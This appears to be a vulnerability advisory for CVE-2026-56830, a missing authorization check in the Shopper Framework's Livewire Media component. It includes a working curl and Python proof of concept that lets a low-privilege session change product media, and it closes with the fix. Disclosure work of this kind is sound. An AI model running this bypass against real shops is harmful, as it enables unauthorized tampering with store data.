Shopper Framework CVE-2026-56830

// Lines 64-76 - store() with no authorize() call
public function store(): void
{
    $this->validate();

    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}

public function store(): void
{
    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files
    // ...
}

SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"
# Step 1: Load a product edit page as an admin to obtain the Media component's
#         Livewire snapshot ID and the product's public ID.
#         The component snapshot appears in the HTML source as data-livewire-snapshot.
# Step 2: As the low-privilege browse-only session, call store() on the Media component,
#         pointing at the captured component state.

curl -s -X POST http://localhost/shopper/livewire/update \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $XSRF" \
  -H "Cookie: $SESSION" \
  -H "X-Livewire: 1" \
  -d '{
    "components": [{
      "snapshot": "<snapshot JSON from page source with product locked>",
      "updates": {},
      "calls": [{"path":"","method":"store","params":[]}]
    }]
  }'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.

#!/usr/bin/env python3
"""
Media component authorization bypass PoC.

Set these environment variables before running:
  BASE_URL        e.g. http://localhost
  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)
  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value
  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component
                  (copy from data-livewire-snapshot in the product edit page source)

The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""

import json
import os
import requests

base_url = os.environ['BASE_URL']
session  = os.environ['SESSION_COOKIE']
xsrf     = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']

headers = {
    'Content-Type': 'application/json',
    'Accept': 'text/html, application/xhtml+xml',
    'X-XSRF-TOKEN': xsrf,
    'Cookie': f'laravel_session={session}',
    'X-Livewire': '1',
}

payload = {
    'components': [{
        'snapshot': snapshot,
        'updates': {},
        'calls': [{'path': '', 'method': 'store', 'params': []}]
    }]
}

r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])

// packages/admin/src/Livewire/Components/Products/Form/Media.php

public function store(): void
{
    $this->authorize('edit_products');  // add this line

    $this->validate();

    $this->product->update($this->form->getState());

    $this->dispatch('product.updated');

    Notification::make()
        ->body(__('shopper::pages/products.notifications.media_update'))
        ->success()
        ->send();
}